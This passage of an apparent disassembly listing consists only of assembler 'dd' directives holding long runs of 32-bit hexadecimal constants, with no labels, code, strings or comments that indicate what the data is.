4DCCD40Ah, 5B1200CAh, 97DB3183h, 1B09C239h, 321662h dd 20CDF7A0h, 88020479h, 0C28EFF13h, 8C4DEE0h, 7AC4E65Ch dd 791D08B1h, 0B1190869h, 118AEE30h, 28B56B29h, 65F720F8h dd 0D1F4561Fh, 0E39CFC46h, 37B51E29h, 0E69B45DBh, 0DF900626h dd 708C806h, 3CC52FBEh, 40790203h, 11182539h, 57F1BF48h dd 2A6C92F6h, 28D4138Dh, 2014C939h, 0BD051123h, 0DC64E99Ah dd 0F8802F85h, 0EF490598h, 65347710h, 56CEE48h, 5E79B7C7h dd 6CFB04Bh, 4905D0h, 0B190AF70h, 200A8755h, 9984F412h dd 3093B495h, 18D8C5B6h, 0B30B9CEh, 28B1F42Dh, 0DE3070FAh dd 2874BC88h, 65841A28h, 0D2FE99FDh, 0A2FC510h, 0A03DF86Fh dd 0A25C010Fh, 79F5B7DBh, 984980E4h, 3624C104h, 0CC1350F4h dd 0C388A8C4h, 9098A48Bh, 54644998h, 0CE5EA402h, 98E0C988h dd 7900B651h, 0BB047B20h, 9AC79C5Dh, 382300ACh, 7EA413CDh dd 6C900EADh, 7129100h, 635B1AEFh, 0FC8298Ch, 59D6800Ch dd 4E9D2BDCh, 43004498h, 0EE2536D1h, 5D32D5Ah, 776C63BDh dd 8640059Ah, 3900D09Dh, 304C412Ch, 28102418h, 71401826h dd 9405179Ch, 0DCE8928Ch, 0D6425DECh, 0E6110A82h, 0FEA94C0h dd 0CC67B600h, 6BB8D904h, 91973183h, 0D42B13E8h, 0D003CB15h dd 8459070Fh, 294009F9h, 0A8A0488Ah, 0C9D3F363h, 3B1EF87Ch dd 0E205317Ch, 6C80E8D7h, 90D4AD18h, 0E27096E0h, 0F6079E72h dd 0DCC8C240h, 79BA1266h dd 7BD0C031h, 1E3076F3h, 0F03458CAh, 0C46381E6h, 0F97CBEDEh dd 0BCBBC526h, 0B97CBF83h, 3B7498B0h, 0A488A00Ah, 21FD288Eh dd 5F783EA8h, 0DB362E82h, 0FDC0B4E7h, 0A10022E0h, 0FABDF358h dd 4CA325D8h, 0C75D0C9h, 0CBDB7472h, 6630A4B0h, 647149FBh dd 18CA6428h, 464CC9DAh, 72A2B0ACh, 0A1988410h, 83E140h dd 0D9236D19h, 722ECD7Ah, 560004E4h, 1CBE3AF9h, 5479BB78h dd 7FD47C37h, 8C5A88A7h, 434AE144h, 598080BFh, 45F04774h dd 30E931ACh, 0A17478C8h, 7C02F429h, 0B558858h, 0EEA08D48h dd 2D101C01h, 29607027h, 17F20C9Ah, 0AC20BA26h, 0B8EE50Eh dd 0BBC821BCh, 3B00134Ah, 5B24E68Ch, 9F003C92h, 0F3931E01h dd 2080E11Bh, 7B04F4F2h, 20A78F4Fh, 0C06ED508h, 0C8615E7Bh dd 630018E8h, 74141C69h, 4B879EBCh, 0ED800004h, 4FBD91AFh dd 0A052C300h, 277FFBCAh, 49CC3A31h, 82F6C480h, 803E0F30h dd 81BFA900h, 4E0811AAh, 0F05C0096h, 0FB78018Ch, 0D800C816h dd 85FE4C6Fh, 0F0815008h, 5BA90062h, 0D118C411h, 9F396D15h dd 0AE708166h, 0CEF9F178h, 8F4EF4h, 0FBE8246h, 0DCF2CA61h dd 12292300h, 0B106E11Ch, 880300BBh, 9139EE6Dh, 0A900E08Ah dd 4EB7CAE3h, 3C55DD8h, 8C61C8C7h, 19889F1Bh, 6E00F7E2h dd 284D0358h, 67BBEAh, 4ED9FA90h, 985649DFh, 1410CCEFh dd 0D269F201h, 2716B333h, 38889EE0h, 0A802E39h, 0B1089FB5h dd 5B00111Fh, 8F591BDFh, 632687h, 3CC86EA6h, 53153F33h dd 5CDFDA00h, 0F603B2ACh, 0B0F900E9h, 0E3C9C381h, 5E00C492h dd 1F66FB0Ch, 454F2Ch, 42CC2458h, 4102E80Ah, 0A194EC00h dd 0E7F864B6h, 0AC2907B9h, 39729917h, 842C74E0h, 0BEA03800h dd 29480D41h, 0C572B7h, 7087C7EDh, 0DF6C83A8h, 2CF66900h dd 109FAB61h, 0A7DE2432h, 0B51D5Eh, 0B4EDEF8Ch, 97E63019h dd 144FF000h, 9A293A1Eh, 12B600F3h, 3244823Ch, 87F4845Dh dd 93977B00h, 9951222Ch, 9FB60243h, 0C6A98E8Dh, 7600AC72h dd 0A17FD8FDh, 3B60D752h, 0DB01F884h, 2EDD5A5h, 0D3C1CC48h dd 698EF001h, 0DFD91991h, 0F4BB9EF4h, 7B7206h, 6EC5F881h dd 2DF98EE7h, 5C1C1700h, 6D2C7A22h, 0F7AE0032h, 6939F850h dd 8300EF3Eh, 2B1AD45h, 0F2EE78Dh, 1C8C2F9Eh, 0B7F3801Eh dd 421E6C3Bh, 0D1F3F00h, 4D1DF4AFh, 0CBB603E5h, 0BEFA7732h dd 81DCDEC8h, 0FC03CE77h, 22116150h, 80D9CB4Fh, 3D618CFh dd 0FFF7ED28h, 0F4EBA0F8h, 128DE0B0h, 0DFAAE514h, 0D7E300D8h dd 2FBADC3h, 621700D0h, 487795B8h, 6018151h, 12542679h dd 0DAD44D80h, 0F157003Fh, 0C6F3B5A4h, 6B00DDA7h, 0CB97FF6h dd 67CF4Ah, 3D235368h, 9D8FF048h, 0DA989E00h, 8ED23294h dd 8DCAA02Dh, 0C6355CC2h, 0F922CA00h, 0BFCF87E3h, 0A4BDF700h dd 0B8059C09h, 0F2EFC4Ch, 58490B2Ah, 0FC5AB040h, 260111CAh dd 0A37B9316h, 0CBF0B486h, 58B0D2h, 0C9433D24h, 0D02F8A63h dd 2B40A0C2h, 4D84207Eh, 92022078h, 763D47CBh, 23CE8787h dd 4952DEE0h, 2E6E03FAh, 10C7E58Ch, 8A3783D0h, 4DB70C00h dd 0BA2390FBh, 0DB1D0186h, 0DD9812AAh, 62DAF430h, 9027CA28h dd 0E6CC20h, 6C5D50Eh, 49951048h, 56523200h, 719A9121h dd 3B7A66h, 0C0A66ACDh, 2DA54C6Bh, 0B44EFE01h, 6D82E724h dd 3B0AC47h, 77F98F5Eh, 0E8D407E0h, 80DA60D9h, 2FF71EF5h dd 0E24263Ch, 0A0F40FAEh, 1ACF7C71h, 10E2CAh, 0D397736Dh dd 8974C428h, 0E7D6F62Ch, 0E4013500h, 0CCCEEDh, 3D2AB9C7h dd 5ED99D72h, 45BDE00h, 34AEC93Bh, 42F1001Dh, 9F4543F9h dd 621D5141h, 0B301958Fh, 15776537h, 5C2B20h, 3E480969h dd 60B080C9h, 0E267F100h, 1D8BF94Dh, 0B5D90085h, 13D6AFBDh dd 0B100756Ah, 1001FD2Dh, 8119E5h, 7BDE95D7h, 0F3A64B56h dd 5C43C500h, 79E436CFh, 0EE8C033h, 953DAB3Eh, 0B8171F00h dd 0F8945EDCh, 62B600A2h, 0EAC1B2D6h, 9C00916Bh, 0FF63132Dh dd 2D0E225h, 0A20E5951h, 85C057A6h, 91008734h, 55132E1Dh dd 3D97E2h, 0D2336074h, 0A5F1E7EAh, 0C71FAEECh, 0F5C02D44h dd 0D43847FDh, 0C15E00A2h, 0F99C3568h, 571F2342h, 1983B10Ah dd 0A0B98B96h, 0CB431h, 0D6EA1620h, 263FDBF0h, 8FA0663Fh dd 0CA47278Eh, 0C901F06Ch, 680A84BBh, 6369F850h, 3AFE7Eh dd 0A61E855Fh, 0B92EA2DCh, 0CFE2EA00h, 1CD7EFB7h, 482A0026h dd 0DDC6718Bh, 0C807737Ah, 12A9F010h, 500BA571h, 71E4D824h dd 381D7F03h, 0E0044161h, 90CADC8Ch, 70FAB7DCh, 925930Ah dd 1C00A8BEh, 289A129Bh, 2DCA1DFDh, 146ACC56h, 0EC903711h dd 0B35E4B09h, 0B51600D2h, 951BD7h, 218ADFE2h, 0F772A78Bh dd 0F0D4CE00h, 0C358B6EFh, 0DFCD00ACh, 7362A07Fh, 0D0A049ADh dd 76001EC7h, 26B86D11h, 1F030D8h, 0BEE19DD6h, 0FC0F0944h dd 0D07E1F69h, 4FEE2D00h, 2A9DE911h, 1310007Eh, 8AFB33DCh dd 0D10017C2h, 3C617C21h, 1D7FAEB8h, 0C0879232h, 0F605CF25h dd 0D6002F77h, 0E710E5ECh, 29E426h, 8DF81A21h, 4C9A7522h dd 802FF43Dh, 0B40A8EE1h, 1C4D02FFh, 3CA00B9Eh, 47DB4B00h dd 3F086A92h, 8B46FE03h, 8856E311h, 5AF9B8h, 0C723D81Bh dd 1721C426h, 6A7BA701h, 0C08DDD01h, 6B9F920h, 4EB329FBh dd 3474B2B0h, 803F4DE6h, 0E0E9812Bh, 0DBD36EBh, 4C7CB760h dd 9200F116h, 9A27452Ah, 697362E6h, 0CCC68200h, 20C321E0h dd 0D3E90FA0h, 816E683Bh, 0B0049E67h, 9CDB1C77h, 49A91D00h dd 4D2E7563h, 0E7830223h, 5AA0713Bh, 0C0F590C0h, 0B6BA2100h dd 0C9DBC19Ah, 0BC6E1C53h, 2A0B0050h, 0E7D2A5F5h, 0B90788F4h dd 0A47EEB24h, 735C0D20h, 0ACF10010h, 27B18BA8h, 0EB007A3Ah dd 7DABA1AFh, 174525Ch, 35BCD6E0h, 801DF394h, 498CEF68h dd 181E40BBh, 8771986h, 763BE2Dh, 0E32E7220h, 3B6DE018h dd 0A1EB60AFh, 35A8756Ch, 0EEBDE107h, 8C40E0CDh, 0FF7A7Dh dd 606AEDAFh, 0FC365331h, 0A0A63C0Eh, 5BD460C9h, 3CC7677h dd 3483C54Ah, 897B1E51h, 6C118D10h, 0A824F10Fh, 21BD7C02h dd 0B408032Bh, 90ABD0A1h, 862D3AF5h, 0A95E6F0Ch, 5B032140h dd 26F493EBh, 0DD56A8B0h, 9147008Ch, 0B16808A5h, 0BC01DBE7h dd 6C3ED71Dh, 0FA8021CFh, 7E89B555h, 31005C91h, 66E23006h dd 0EA822AA4h, 0C0D6001Fh, 0B6B355B4h, 0EA001A68h, 5AB0FDAh dd 0C0BFA090h, 0F6FAEFA1h, 49744F08h, 8E4A6D00h, 5B1FC1B4h dd 5C3CEA57h, 7A0151DEh, 4D473BEAh, 87BCF949h, 5A8FB662h dd 8858281Ch, 2F3E4267h, 0BF7680EFh, 0D4B96B5h, 741D00C5h dd 40939EF2h, 0D89DBA3Bh, 6E2A380Ah, 2B9FDDB8h, 971D439Bh dd 2DC8F47Eh, 1700FAC1h, 0AD4F383Bh, 0F0E93C74h, 0F984009Ch dd 0EA461CCFh, 8B000475h, 0B42BE2FBh, 7D72C0h, 213127B5h dd 26718E06h, 2F921C00h, 1E586C8Bh, 679F008Fh, 0AE0259F5h dd 0BE00496Bh, 63DFEBAAh, 776C4Dh, 0D1329D93h, 0E118EC6Fh dd 54DAC402h, 0C0865E1Dh, 4BDC8Fh, 0A5D27C66h, 561F72D7h dd 0B9283000h, 8410635Ch, 0E3BE00BFh, 0C6FD8182h, 35009D05h dd 834CAB9Fh, 55EA20h, 1485FBA2h, 40D53C0Dh, 1B421800h dd 0AA6AC6D0h, 0B29B005Ah, 0C23555B7h, 18000D91h, 0F61E27ABh dd 799F2366h, 0FAAD0351h, 0F1687861h, 0BC7A0800h, 6279E9F7h dd 0AE040F3Ch, 0FA2F998h, 8540C4AAh, 6F703917h, 9E085807h dd 14B1DA0Eh, 0F07A3C8Ah dd 7907B270h, 70820BF2h, 0DEB772E0h, 3E3E7C15h, 0F724D85h dd 0F044A83h, 4573A0A1h, 0FBB683DDh, 0C8D1A7A1h, 7B916E9h dd 579EA231h, 0B26872CAh, 0B79DFD80h, 6D03C3BBh, 0B1F60CBh dd 6158067h, 12A70F6Fh, 81A0B8DDh, 0ACD9879Fh, 0A034B3Ch dd 0D434E34Eh, 0C0C81700h, 83C248h, 0E8267480h, 0B2F12ECEh dd 4A099D14h, 0B3F27BE4h, 0E3368A00h, 7D1E96B8h, 0FAD076Ah dd 90A11729h, 821934F1h, 52260B00h, 6AB567D7h, 68FF018Fh dd 0F22B3D62h, 82C5D4C3h, 0CF2CAB00h, 0F734E037h, 93BD0060h dd 1C49A14Eh, 0F0F337Ah, 548C79BCh, 6748008Ch, 1BD2543h dd 0A40D0052h, 223CEC58h, 343F3F07h, 425500ACh, 0DBE1B770h dd 3DC80091h, 0DFAF856Fh, 0D50092CBh, 64C76552h, 82731h dd 0B8DCFB7Ah, 8C39F747h, 0BD5588h, 0D0954E35h, 1EA6162Bh dd 0EC917700h, 0CD67AA1Bh, 0ED660CBCh, 7241B2EBh, 8F0FEA00h dd 784E830Ch, 933E003Ah, 0FBC61813h, 0ED129D2Ah, 50007E6Fh dd 268C748h, 0E6B103F6h, 922B4272h, 0F77532A8h, 0CEB39D05h dd 6A872DD3h, 922B9F0h, 0F5530349h, 0C81841BDh, 0A6FD2A0h dd 66004FE4h, 123BE2C5h, 18C3B7A9h, 6883DA93h, 5C01304Ah dd 1397048Dh, 53F895BEh, 0E271E9h, 6027FB1Dh, 9B443B3h dd 1274F100h, 0A772BBC3h, 81BF0F7Ch, 0F6203C77h, 7ED6109Ch dd 3479F900h, 4F6780BEh, 8E5000BBh, 7B974A4Ch, 0B1072CEAh dd 4532B43Eh, 0C8D2AAE0h, 103316E2h, 0FC9B00F5h, 0ED5B0CEh dd 7E3D3E72h, 0E5027FA5h, 0B7B2913h, 0FA0C403Fh, 0AEE20083h dd 30EBFC85h, 2800672Eh, 24CBDE7Bh, 0F4C4F805h, 9A2B3B15h dd 62891DFCh, 94F50027h, 0A8BD2D75h, 0C002070h, 606766C9h dd 98B2D252h, 31840004h, 0F39A184Dh, 61EE1968h, 0D159A013h dd 0B1B68700h, 573F0h, 1A3B317h, 86E65B71h, 7EC8506h, 0F052A9h dd 0AC5DC2BBh, 0AD7ACFE0h, 0C8787900h, 521A206Dh, 3218000Bh dd 7BFF4D9Bh, 1000D5F0h, 445E50C1h, 19C6188h, 9857CE12h dd 0E4B87146h, 9F1E28FFh, 0F0C06606h, 0FC21426Eh, 3C2A48FDh dd 7E533600h, 105FC699h, 47894A00h, 58800D2Ch, 0CD70065h dd 78F629EEh, 9801D96Ch, 164A3266h, 0AC40488Dh, 1384F372h dd 3155526h, 54ED53BCh, 0CD0961C0h, 365B9100h, 0D5EAB8C1h dd 0B99F1DCAh, 0BA92876Ah, 518EC040h, 3C1D182Bh, 0F14177F0h dd 9373277Ch, 99B23020h, 24551D24h, 468EA798h, 15A8C9C0h dd 5800DD71h, 2E906D22h, 986C5DA2h, 56A014FEh, 6C48F6EDh dd 0D9824700h, 4A12CD5Ch, 656CB400h, 90BBDF68h, 0C28B00E6h dd 731DB144h, 889017D4h, 24891300h, 235204BDh, 7EFE0091h dd 0A09E160Eh, 93003DE5h, 6E96E4D2h, 572C70h, 472534F2h dd 7C5237A2h, 91C75D2Ch, 14AC931h, 1C9A04E8h, 42BC95h dd 23EA81DFh, 7800C5E8h, 4A680D19h, 0FA3DB6h, 5CF9076Eh dd 0C6682AEh, 100A781Fh, 5EB7BA40h, 3715D16h, 0CAA3D7BDh dd 60014368h, 46ABC18Eh, 65C44F07h, 2577526h, 0F5212987h dd 448F830Eh, 0E130882Dh, 1D792C02h, 5D1D7389h, 0D01E905h dd 0F1561000h, 0FDD582h, 15D7BB2Eh, 2AECD82Fh, 0B8655400h dd 7338FA01h, 2330017h, 1326C71Ch, 9C0FBB5Dh, 0A73FA0h dd 0CB1B0D72h, 71A4004Fh, 0B0CFA93Ah, 0F500B18Dh, 0FF7E9E6Eh dd 1C0B9C8h, 67174A90h, 0E09315A3h, 36F235A4h, 0FB341300h dd 2EC5BA74h, 0DAD2016Ah, 3B781D58h, 0ABBC40Bh, 0DFD2800h dd 1B13FBDCh, 83961965h, 0E5CC5087h, 60A6EF05h, 0A4C8A803h dd 0A0B01DEDh, 0A08097ABh, 79CA7B14h, 0C8901C5Ah, 8A9FAEh dd 28142313h, 66034750h, 0BCD978CBh, 9083D0DAh, 27DF006Ah dd 72110D6Bh, 42003E0Ah, 7126988Ah, 0C25005h, 3FEC1099h dd 0FBBBC4D2h, 0EFF7DB03h, 0B8CB5B85h, 32403Ch, 0D913FA57h dd 87AF9671h, 43864900h, 469ADB67h, 12EB331Fh, 69E923FEh dd 0D7D2C01Eh, 26D0E500h, 0EA552DF5h, 0FF7D3Eh, 15189CE6h dd 5FA97F29h, 0E381EE00h, 0C42C4B26h, 0BAD0398Bh, 0ECF093B0h dd 0D40153E6h, 9BD18434h, 1881927Dh, 0F6653659h, 121DE8B3h dd 0CF81CC0Ah, 0E580A0F7h, 0F6DF1E43h, 0FAC709E7h, 5680043Fh dd 0D05B331Dh, 450F18C0h, 0F88062Ch, 1A9C20DBh, 0B7E6DF03h dd 127C70C7h, 0ED14BA0Eh, 0BC3907h, 379B5790h, 11A0219h dd 0D352225Dh, 0E33F8CBEh, 48B65890h, 6B4528C0h, 0DE3EB2E2h dd 25B48C54h, 0A006E499h, 1FBCB50Ch, 438E0068h, 0E7F5B0CDh dd 980C0371h, 10130733h, 1F4E3405h, 40808680h, 3B9A880Ch dd 1F107068h, 81DD7BF8h, 0A66A4271h, 6B188F81h, 0C929A006h dd 78CF419Bh, 0F1452862h, 2ACE894h, 0C7ABD4Ch, 28488943h dd 9C28B50Dh, 0AA1048B1h, 1B82EFCEh, 9880DE87h, 0CF938F13h dd 8594C8C6h, 426B1450h, 9CF174A4h, 363C0EB1h, 0D7450E84h dd 9A5480C1h, 3260EE43h, 7D4F6D68h, 20E09E4h, 7C200FBAh dd 797A2F4Eh, 0A7BDAD00h, 74640914h, 0C67B0073h, 104A5A99h dd 61077642h, 47272472h, 86B5F7E0h, 0FF0F010Ah, 0ABE46048h dd 0CA41C088h, 2D27E800h, 6433F6A9h, 0BCE00CCh, 0B6FE723Bh dd 0B103962Eh, 8B3A5798h, 8335D88Fh, 578755Eh, 0F6093FC4h dd 0E0D480B8h, 98004C0Ch, 0AD331554h, 101D4F1h, 0EF1C2EE9h dd 87FF8E3Eh, 0FE659A50h, 9CAA5280h, 266E000Dh, 9E0165Ah dd 14009B25h, 0E9A3EC03h, 1966EDh, 73FC0B75h, 2D088072h dd 0D2305272h, 2306107Eh, 0CCF8000Ah, 1C95B58Eh, 0F2000338h dd 0D6B4B187h, 60661FCEh, 0DD1436B2h, 7558ADE0h, 0D3007AFAh dd 0DBF55BA4h, 0E7F010h, 1776E947h, 11B5853Eh, 2E32FC00h dd 125058C8h, 0A2D600F5h, 0AABC953h, 0DC00A01Bh, 34309BD9h dd 7F491BAh, 0A8F50486h, 5985D0ECh, 19007961h, 0DFAF4EA0h dd 0E40554h, 97356298h, 0DA63BC1Dh, 0C8C3B404h, 6EC1434Eh dd 0A5E4D550h, 7DA930D2h, 0E078B5E0h, 33A7E801h, 31E76F5Dh dd 0A8FB0AD0h, 3F2DD688h, 0C61DB165h, 0B876801Ch, 311D9451h dd 0DACB9807h, 0F74088DBh, 0EE641735h, 0ADC5007Ah, 1B1E4446h dd 3B01D324h, 0EF54323Ah, 0F6C0D88Fh, 0FDB40372h, 40CF8752h dd 9A70FF80h, 0F7FBED00h, 0EBC89663h, 8CEC0039h, 86FEAF88h dd 45002953h, 7556E357h, 0EA4DCDh, 1D0D90C5h, 19D56C0Ch dd 0EEF2D303h, 0FDD47Fh, 8E75C916h, 0D74458CDh, 0B8486F30h dd 382143Fh, 0A44C5D7Ah, 71005EA1h, 330E0329h, 0ECD6213Bh dd 344300A0h, 0ACCDDA24h, 81026F68h, 2091D397h, 0E6F4A0D2h dd 7D36C9h, 0C8BDA763h, 0A5B341A2h, 0EC121800h, 1F692C26h dd 29DFC5Dh, 0B68BBB6Dh, 0D48D51A8h, 0BC9080BAh, 632A99D7h dd 27E22Dh, 67FAD212h, 0E99DC54Fh, 9133D000h, 53C3FB39h dd 0ED31012Ah, 7DCF624Ch, 9E9CE480h, 7A5AEE17h, 0F2120701h dd 0D080CB48h, 0A9D6C581h, 4DECC8F8h, 19721705h, 80C042A4h dd 0B8F3BF55h, 892160DDh, 161BDE47h, 0E5691FB0h, 520480B2h dd 18F8C5h, 0F5CB03F7h, 0DE7E0D37h, 10D24317h, 25146900h dd 0F3D5A8Eh, 9D0AFCEAh, 0F2EF6160h, 8000750Fh, 65A84CBCh dd 0F2A27BD3h, 0A3600B3h, 12692968h, 2D00584Fh, 79EB04D4h dd 0FF847Bh, 17326087h, 1E736C76h, 0A18A6200h, 0CCABD2A3h dd 0BBA7184Ch, 0B778EA31h, 0C6393B01h, 2792CE75h, 0A39B70h dd 0CF24BEAFh, 9FDECBC4h, 0EB553400h, 0F32FD691h, 3BBB4C83h dd 8E1A0B0Eh dd 1C60136h, 0D8195749h, 752468A1h, 320774BDh, 9C0DCB5h dd 14D63DE3h, 0A4164F9Ch, 0B7DAA105h, 4EDA80DEh, 0B600A7A0h dd 0DCA9B899h, 70E0262Eh, 59130011h, 9B24979Ch, 75008094h dd 28F76E2Ah, 0FDD9B2h, 120FA066h, 2D21A1A7h, 0B95FB63Bh dd 9052866Ch, 7C87851h, 0C1B5554Dh, 2B7B5096h, 0FE003F1Bh dd 816450FDh, 0B63236h, 0A9B73AF9h, 2E39F0Ch, 247C9100h dd 993F2592h, 0A6430331h, 74FC8F77h, 0E5519B98h, 0C9BD9401h dd 0BEE62BA2h, 0B6F5F080h, 9B154BC0h, 1847849h, 613F95D0h dd 1080C420h, 4A3705D9h, 94008CB7h, 173C4209h, 0F66CEBCDh dd 4CB24CB3h, 2087E800h, 5A8A6443h, 7E902100h, 0B96E97F3h dd 0D42F1F34h, 4A63C023h, 0EF707FFEh, 8F807E3Eh, 69399E50h dd 0F3FD820Dh, 4B4E60DAh, 0AE9B0237h, 959EB238h, 99E75840h dd 45AC6C02h, 600BDAD9h, 0F47C8Ch, 0D52B2E47h, 0A8A14674h dd 0C41FE21Ch, 989BAC41h, 0C8400CF8h, 0E1473Ah, 0ED7A6A28h dd 916D8EF0h, 0A00D5828h, 0C8360B1Ch, 0FC5D1Eh, 83B92DA8h dd 8F0AFEh, 0A11DEDBCh, 94E949ACh, 0D72B7114h, 0E26D09D4h dd 0F15C807Fh, 487339h, 0C889AB6Ch, 41D4D2A8h, 12A61D3Eh dd 0F8402E95h, 2339EA17h, 0F644E631h, 0C749005Fh, 75878098h dd 4500BCEFh, 0C2FCB09Dh, 0D29F65h, 9461F706h, 1FDA5A0h dd 0C1D83000h, 0A287BD76h, 4BEE1D3Fh, 0ACB8401Eh, 5D5734DDh dd 38011776h, 7FFD9880h, 0F540BB0Bh, 6E88B9h, 26704989h dd 1990EA30h, 524D3407h, 0DB900EB1h, 446AA9h, 8076F967h dd 0E626FA7Ah, 7BF35500h, 0B3145C2Fh, 868B0052h, 0CF7F70EEh dd 3B004B68h, 19631FD7h, 0EBEC29Ch, 4D1892C7h, 1A839A66h dd 0C0B19000h, 5254C359h, 0F85B1E65h, 0A1478356h, 0F9A33BBEh dd 0D22B36F0h, 25E2F100h, 411F00Bh, 0B8AD0FF3h, 840E445h dd 0E20907FCh, 4B949100h, 0EEBA5A34h, 4E0A03A5h, 7D848FCEh dd 0C5C4E097h, 0D41D0FA9h, 80BFC1B6h, 0FC13160Ch, 8FF4F1h dd 481F0E58h, 0ECD35967h, 77B3A802h, 0FF170686h, 0DCC95680h dd 4B072A89h, 0EDCEF613h, 1FC2D70h, 7D4A7216h, 87360941h dd 0E2826F7Fh, 0AC685764h, 917CF3C5h, 0E0045D00h, 6AC2E890h dd 0E600785h, 0E1FBFF06h, 0FCB50855h, 0EE395104h, 90038393h dd 88FC01E3h, 617E9Eh, 67EA6A98h, 81450D7h, 0F102BDB0h dd 11E85733h, 0E4E040BCh, 5AD16D5h, 33D42054h, 88DE8884h dd 98E90B00h, 0E8192C36h, 0C7F9792Ah, 0C7212D18h, 406E60E8h dd 0E70093CFh, 2A429FEFh, 36D6BDh, 4E4C22E0h, 98D08397h dd 899878DDh, 1D8AD859h, 8C176D4Ah, 0CBA0D4BFh, 8EE86000h dd 423407Ch, 5203698h, 0C9689920h, 8C515820h, 544C000Ah dd 0DB23B978h, 79270EFCh, 6061CA85h, 0F0821118h, 737A8040h dd 0FB62E01Dh, 105D2080h, 10DB7B8h, 0A8DBEC2Bh, 0C01AA4FFh dd 0C90F4CE2h, 101C06h, 7A623BDh, 948300B4h, 1502C0Eh dd 300080C1h, 46BCACEEh, 7CFDFCh, 62D8098Bh, 0DFE7DAEDh dd 0E3086A00h, 2D7D691Fh, 5A440030h, 255E5BB7h, 6A0439EDh dd 0D91DD099h, 0E4607DC7h, 85BE42h, 45B9FD64h, 8EC98A15h dd 0F0866503h, 0C0C09C79h, 0E05377h, 0F27AAC4h, 80267DF4h dd 0B761DE00h, 0A421BED2h, 0F02F01CDh, 0EB2D94B5h, 0D6342459h dd 0C9D87100h, 7A8BBFA5h, 0A80300E6h, 0DE42960Ch, 1E0E2D01h dd 0BE5B1847h, 388A18E4h, 0B080BC4Bh, 7417B3Bh, 2A3C023Dh dd 0B7669632h, 0A0B80CC3h, 0B30C8794h, 305FA588h, 794460EBh dd 1EF8786Eh, 0D45B9AA0h, 38E7470Ch, 3759A0h, 93129A66h dd 6A9AE99h, 0B500BFECh, 705ABF7h, 0DFA211h, 0EB8D3DDEh dd 3CE7816Bh, 40B32F30h, 0FC3358Eh, 0C82010DDh, 360C807Ch dd 0C0AB3465h, 5784820Bh, 510822DAh, 506C804Dh, 755A6AFFh dd 90E6D5h, 2C99C7EDh, 0E9BD3DE7h, 0FDAAA00h, 8D32471Fh dd 0DB3419D1h, 0D40D107Dh, 573AE697h, 0B35961D7h, 5FC8C86h dd 0F25DF62Ah, 28F42AF8h, 73810080h, 62CDBDB2h, 2E279E76h dd 0E9CF4D7h, 0BFC18B88h, 40EB317Ch, 0CA44B418h, 607D4800h dd 0FC713AD6h, 1EC17226h, 49A45Ch, 2CEA6531h, 0F37DA0EFh dd 0AEABBAC3h, 4E910098h, 0F4825A15h, 6E00BF9Eh, 0CEC6D36Bh dd 0EA2E1FA8h, 0D7A44C89h, 2298052Ch, 0C25518C4h, 852A4192h dd 4D84260Ah, 6F8E98F5h, 0E4011716h, 0C0E2E0AAh, 39D69FECh dd 0F4C85509h, 8220E385h, 1C40B68Eh, 3BF82348h, 504D4F00h dd 6B9E943h, 7AEE1EEAh, 57BC4024h, 12FB5A9Ah, 7B0A5200h dd 69D7DFF9h, 311A006Ah, 58C3282Ch, 0AC1D337Ah, 283047D1h dd 9815111Bh, 734F031Eh, 755FFB5Dh, 21001CA3h, 93186949h dd 0F61688AFh, 0CB5B0082h, 1BA3FD03h, 59FE2F0Eh, 0BBFA9918h dd 232460h, 0EC730A5Fh, 4212A91Ch, 7B199A1Bh, 8066A850h dd 390A01AEh, 2149DE9h, 0E0A3F0F5h, 0D3B93060h, 35F1ECDh dd 477DABA6h, 830939Eh, 0E8702129h, 24D5011Eh, 1B990F16h dd 9648839Bh, 98F07C59h, 0C78BF95h, 37DEC24h, 0B890F680h dd 0C8768300h, 0E10F8C21h, 2D571E78h, 0D57480DDh, 0AD0429FAh dd 94062400h, 0BDE3B2F0h, 0BBA80073h, 0B881CAD2h, 90FE44Fh dd 602102F5h, 66F01F52h, 8E300074h, 7EFC3362h, 2571B63Eh dd 0AF3FB71Fh, 0F19C7DC0h, 27CA0AAh, 59A63954h, 0A1E0B4D2h dd 0EE38A29Dh, 5DFC05E9h, 67C34F74h, 96C0F79Ch, 0A707A3h dd 0E213AE14h, 71419219h, 4FF5ED1Fh, 1D391CC0h, 4E3818h dd 0B0D86B23h, 51286995h, 0C4001570h, 396F6E9h, 7513E6E8h dd 765D3338h, 31AAD128h, 0F0964F0Eh, 35041F21h, 0DD08757Bh dd 218A1443h, 930C5B51h, 88997935h, 4C00580Ah, 1E952CA8h dd 6AE973h, 25C2A2F9h, 19D87EBFh, 2441FB00h, 27487685h dd 0D34C000Ch, 0DD7BED17h, 431C1428h, 0FE8011B7h, 0D7466B99h dd 3717176Fh, 662E0010h, 0DFEA4562h, 2667F000h, 568D823Ah dd 4300023h, 6E2DF132h, 9FF2CC9Dh, 90AFC007h, 6AD01E73h dd 37ACEC5h, 1BD89419h, 87888DFEh, 0AC00D239h, 860778E3h dd 0B0716570h, 10750043h, 67141651h, 9428F4DBh, 0CD00FE83h dd 0E3520C07h, 3E9C841Ch, 0A600809Ah, 6E39B79Bh, 0F1006258h dd 2CE4F87Eh, 4D3807h, 96DFFB12h, 0A8CFA286h, 0FC663000h dd 0B6273AF6h, 7683C29h, 0C0C2F280h, 1F1D8CE7h, 1448D000h dd 0E3E81A9Ah, 0CF9019h, 9C21F435h, 0ACA5CC71h, 463EA898h dd 68BA00B2h, 2312D441h, 94EB002Ah, 0B7458208h, 20003088h dd 8D4BCC3Ch, 207F6BDh, 0A3A7C0C1h, 4240B535h, 0AE385830h dd 0D3CE82D1h, 808F1DA5h, 7E684AA7h, 0B52903A6h, 9E209BBFh dd 807BF889h, 11CE8AAEh, 37CD99h, 7347B22Bh, 0E5B72A14h dd 1738CA58h, 0EC00898Eh, 5A2876FAh, 71DC0E5Fh, 0C07DA883h dd 0CC7EB5E9h, 0C50063C6h, 48352A29h, 0CF2D3318h, 6EC0C924h dd 0B3B084FBh, 0C7EE0400h, 0FE0A3EA6h, 42D000F3h, 0B973FD82h dd 1A0C2D8Ah, 38F86EC2h, 283707A2h, 0E3F15204h, 0D9F8DCE2h dd 0FEABDD4h, 0F30E74FCh, 781E5856h, 3E20876h, 339E729Ch dd 40903C02h, 10001BACh, 9817EEDh, 1E2A97F1h, 41245Fh dd 0CF9DD03Fh, 76FE6FE2h, 0C9677800h, 64047A4Bh, 748500C5h dd 27523C14h, 5D001C41h, 4A218B8Ch, 0C79640h, 605CBE75h dd 79661356h, 86C90A0Fh, 773120DDh, 0E06E74h, 0F9864B0h dd 6DEA4B58h, 5AA5D007h dd 0D690B92Ch, 